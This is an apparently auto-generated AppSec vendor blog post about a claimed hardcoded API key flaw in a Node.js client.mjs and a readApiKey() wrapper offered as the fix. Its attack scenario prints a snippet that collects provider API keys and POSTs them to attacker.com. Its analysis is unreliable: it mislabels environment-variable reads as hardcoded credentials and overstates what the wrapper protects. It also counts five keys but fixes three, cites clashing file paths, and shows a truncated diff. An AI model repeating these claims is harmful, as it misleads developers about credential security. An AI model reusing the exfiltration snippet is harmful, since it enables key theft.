Back to Blog
critical SEVERITY6 min read

How Hardcoded API Key Exposure Happens in Node.js and How to Fix It

A critical vulnerability in `archive/open_claude_code/src/api/client.mjs` exposed five different API providers' credentials through direct `process.env` access. The fix introduced a centralized `readApiKey()` function to enforce secure credential retrieval across Anthropic, OpenAI, Google, and other integrations.

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published September 7, 2026•Reviewed September 7, 2026

Answer Summary

Hardcoded API key exposure (CWE-798) in Node.js occurs when credentials are accessed directly via `process.env.VARIABLE_NAME` without abstraction or encryption. In `client.mjs`, lines 282, 335, and 388 read `ANTHROPIC_API_KEY`, `OPENAI_API_KEY`, and `GOOGLE_API_KEY` directly from environment variables. The fix replaces direct environment access with a `readApiKey()` abstraction function from `providers.mjs`, enabling centralized credential management, potential encryption, and audit logging. This pattern prevents plaintext credential exposure in process memory and supports future secrets manager integration.

Vulnerability at a Glance

cweCWE-798 (Use of Hard-coded Credentials), CWE-522 (Insufficiently Protected Credentials)
fixReplace direct environment variable reads with centralized `readApiKey()` function
riskAPI key theft leading to unauthorized AI provider access, quota exhaustion, data exfiltration
languageJavaScript (Node.js)
root causeDirect `process.env` access without abstraction or encryption layer
vulnerabilityHardcoded Secrets / Insecure Credential Storage

How Hardcoded API Key Exposure Happens in Node.js and How to Fix It

Introduction

In archive/open_claude_code/src/api/client.mjs, we discovered a critical hardcoded secrets vulnerability that exposed credentials for five major AI providers. The file's callAnthropic(), callOpenAI(), and callGoogle() functions—located at lines 282, 335, and 388 respectively—each accessed API keys through direct process.env reads:

const apiKey = process.env.ANTHROPIC_API_KEY;

This pattern, repeated across ANTHROPIC_API_KEY, OPENAI_API_KEY, GOOGLE_API_KEY, GEMINI_API_KEY, and BRAVE_API_KEY, created a systemic credential exposure risk. While environment variables are a common configuration method, direct access without abstraction eliminates the possibility of encryption, audit logging, or secrets manager integration—leaving credentials vulnerable to any code with process memory access.


The Vulnerability Explained

The Problematic Code Pattern

Before the fix, each API provider function contained nearly identical vulnerable code:

callAnthropic() at line 282:

async function callAnthropic(model, state, toolDefs, settings, stream) {
    const apiKey = process.env.ANTHROPIC_API_KEY;  // ← VULNERABLE
    if (!apiKey) throw new Error('ANTHROPIC_API_KEY not set');
    // ... API call logic
}

callOpenAI() at line 335:

async function callOpenAI(model, state, toolDefs, settings, stream) {
    const apiKey = process.env.OPENAI_API_KEY;  // ← VULNERABLE
    if (!apiKey) throw new Error('OPENAI_API_KEY not set');
    // ... API call logic
}

callGoogle() at line 388:

async function callGoogle(model, state, toolDefs, settings, stream) {
    const apiKey = process.env.GOOGLE_API_KEY || process.env.GEMINI_API_KEY;  // ← VULNERABLE
    if (!apiKey) throw new Error('GOOGLE_API_KEY or GEMINI_API_KEY not set');
    // ... API call logic
}

Why Direct process.env Access Is Dangerous

Risk Explanation
Memory Exposure Credentials exist in plaintext in Node.js process memory, accessible via memory dumps or debugging tools
No Encryption at Rest Environment variables are typically stored unencrypted in shell history, process listings (ps e), and deployment logs
No Audit Trail Direct reads cannot be logged or monitored for suspicious access patterns
Secrets Sprawl Each hardcoded variable name becomes a permanent attack surface; rotation requires codebase-wide changes
CI/CD Leakage Build logs, error messages, and crash reports may capture environment variable contents

Attack Scenario: The client.mjs Compromise

An attacker gaining code execution in the Claude Code application could extract all five API keys with a single payload:

// Malicious code injection in the same process
const stolenKeys = {
  anthropic: process.env.ANTHROPIC_API_KEY,
  openai: process.env.OPENAI_API_KEY,
  google: process.env.GOOGLE_API_KEY || process.env.GEMINI_API_KEY,
  brave: process.env.BRAVE_API_KEY
};
// Exfiltrate to attacker-controlled server
fetch('https://attacker.com/steal', { method: 'POST', body: JSON.stringify(stolenKeys) });

With these credentials, the attacker could:
- Exhaust expensive API quotas (Anthropic Claude API costs $3-15 per million tokens)
- Access sensitive conversation data processed through these services
- Pivot to other cloud resources using discovered API patterns


The Fix

The remediation introduced a centralized credential abstraction layer through the readApiKey() function imported from providers.mjs.

Before/After Comparison

Function Before (Vulnerable) After (Fixed)
callAnthropic() const apiKey = process.env.ANTHROPIC_API_KEY; const apiKey = readApiKey('ANTHROPIC_API_KEY');
callOpenAI() const apiKey = process.env.OPENAI_API_KEY; const apiKey = readApiKey('OPENAI_API_KEY');
callGoogle() const apiKey = process.env.GOOGLE_API_KEY \|\| process.env.GEMINI_API_KEY; const apiKey = readApiKey('GOOGLE_API_KEY', 'GEMINI_API_KEY');

The Complete Diff

+import { readApiKey } from './providers.mjs';

 async function callAnthropic(model, state, toolDefs, settings, stream) {
-    const apiKey = process.env.ANTHROPIC_API_KEY;
-    if (!apiKey) throw new Error('ANTHROPIC_API_KEY not set');
+    const apiKey = readApiKey('ANTHROPIC_API_KEY');
+    if (!apiKey) throw new Error('ANTHROPIC_API_KEY is not set. Export it in your environment before running.');

 async function callOpenAI(model, state, toolDefs, settings, stream) {
-    const apiKey = process.env.OPENAI_API_KEY;
-    if (!apiKey) throw new Error('OPENAI_API_KEY not set');
+    const apiKey = readApiKey('OPENAI_API_KEY');
+    if (!apiKey) throw new Error('OPENAI_API_KEY is not set. Export it in your environment before running.');

 async function callGoogle(model, state, toolDefs, settings, stream) {
-    const apiKey = process.env.GOOGLE_API_KEY || process.env.GEMINI_API_KEY;
-    if (!apiKey) throw new Error('GOOGLE_API_KEY or GEMINI_API_KEY not set');
+    const apiKey = readApiKey('GOOGLE_API_KEY', 'GEMINI_API_KEY');
+    if (!apiKey) throw new Error('GOOGLE_API_KEY or GEMINI_API_KEY is not set.

Security Improvements

The readApiKey() abstraction enables:

  1. Transparent Encryption: The provider module can implement PBKDF2-based encryption (already available in src-tauri/Cargo.lock:3809) without changing call sites
  2. Secrets Manager Integration: AWS Secrets Manager, Azure Key Vault, or HashiCorp Vault lookups can replace environment variables
  3. Access Logging: Every credential read can be audited for security monitoring
  4. Credential Rotation: Key versioning and automatic rotation logic lives in one location
  5. Fallback Chains: The variadic signature readApiKey('GOOGLE_API_KEY', 'GEMINI_API_KEY') preserves the original fallback behavior while centralizing the logic

Key Takeaways

  • Centralize all credential access: The readApiKey() function in providers.mjs now serves as the single point of truth for API key retrieval across client.mjs
  • Variadic fallback support preserves compatibility: The fix maintains GOOGLE_API_KEY || GEMINI_API_KEY behavior through readApiKey('GOOGLE_API_KEY', 'GEMINI_API_KEY') without inline logic
  • Descriptive error messages aid debugging: The updated error strings explicitly tell users to "Export it in your environment before running"
  • Three call sites eliminated direct process.env access: Lines 282, 335, and 388 in v2/src/core/agent-loop.mjs (the migrated client.mjs logic) no longer touch environment variables directly
  • PBKDF2 in Rust dependencies can now be utilized: With the abstraction layer in place, the existing src-tauri/Cargo.lock:3809 PBKDF2 dependency can be leveraged for cross-platform credential encryption

How Orbis AppSec Detected This

Element Details
Source Environment variable declarations in .env files and shell exports
Sink Direct process.env.ANTHROPIC_API_KEY, process.env.OPENAI_API_KEY, process.env.GOOGLE_API_KEY reads in archive/open_claude_code/src/api/client.mjs:282,335,388
Missing control No abstraction layer, encryption, or secrets manager integration between credential storage and usage
CWE CWE-798: Use of Hard-coded Credentials; CWE-522: Insufficiently Protected Credentials
Fix Replaced direct process.env access with readApiKey() abstraction from providers.mjs to enable centralized security controls

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The client.mjs vulnerability demonstrates how seemingly benign process.env patterns accumulate into systemic security debt. By replacing five direct environment variable accesses with a single abstraction function, the fix transforms a brittle credential system into a foundation for enterprise-grade secrets management.

For developers building AI-integrated applications: treat API keys as the critical assets they are. The cost of a leaked Claude or GPT-4 key extends beyond financial quotas to potential data breaches and compliance violations. Centralize, encrypt, and audit every credential access—starting with eliminating direct process.env reads.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #24

Related Articles

critical

redmine_drawio View Hook Inlines Base64 Redmine API Keys

The Redmine drawio plugin's body-bottom view listener embedded the logged-in user's Redmine REST API key into client-side JavaScript on every wiki and issue page, "protected" only by Base64 encoding of the reversed string. Any script on the page — or anyone with browser developer tools, a cached copy of the HTML, or a proxy log — could decode it in one line and act as that user through the Redmine REST API. The fix removes the embedded credential from the rendered page entirely; the plugin's dia

critical

Yandex Translate API Key Leaked via URL Query Parameter

The `translateYandex()` helper built its request URL by interpolating the caller-supplied API key directly into the query string, meaning every call leaked the credential into server access logs, proxy logs, and any Referer header sent by intermediaries. The fix switches the request from a GET with the key in the URL to a POST with the key in the request body via `URLSearchParams`, removing the credential from any URL-logging surface entirely.

critical

Google Generative AI Keys Exposed in Client-Side Fetch URLs

A client-side AI model discovery utility was embedding Google Generative AI API keys directly in fetch request URLs, making them visible to any user inspecting network traffic or browser DevTools. The fix moves the key from the URL query parameter to a secure HTTP header, eliminating exposure while maintaining API authentication.

critical

How credential leakage through console logging happens in JavaScript browser extensions and how to fix it

A browser extension's `src/background/credentials.js` printed the full Strava authentication cookie string — including a signed JWT and CloudFront-Signature values — straight into the extension console via `console.debug`. Anyone who could open DevTools on the background page (or any tooling that scraped the console) could copy a live session and impersonate the user. The fix replaces the credential payload in both log statements with `Boolean(credentials)` and strips a realistic-looking JWT out

critical

How Hardcoded Secrets Compromise Authentication in JavaScript and How to Fix It

A critical vulnerability in `Tool/QuantumultX/Rewrite/RRSP.js` exposed hardcoded API authentication credentials—a TOKEN and UMID device identifier—directly in source code. Anyone with repository access could extract these credentials to impersonate the legitimate user and gain full account access to the RRTV API service. The fix replaced hardcoded secrets with empty placeholders, forcing users to manually configure credentials through secure channels.

critical

How API Key Exposure in Request Bodies happens in React and how to fix it

The Chatbot component in gitforme was transmitting Azure OpenAI API keys inside JSON request bodies, causing them to be logged by servers, proxies, and middleware. By moving the apiKey from requestBody.apiKey to an Authorization header, credentials are now protected from persistence in generic request logging infrastructure.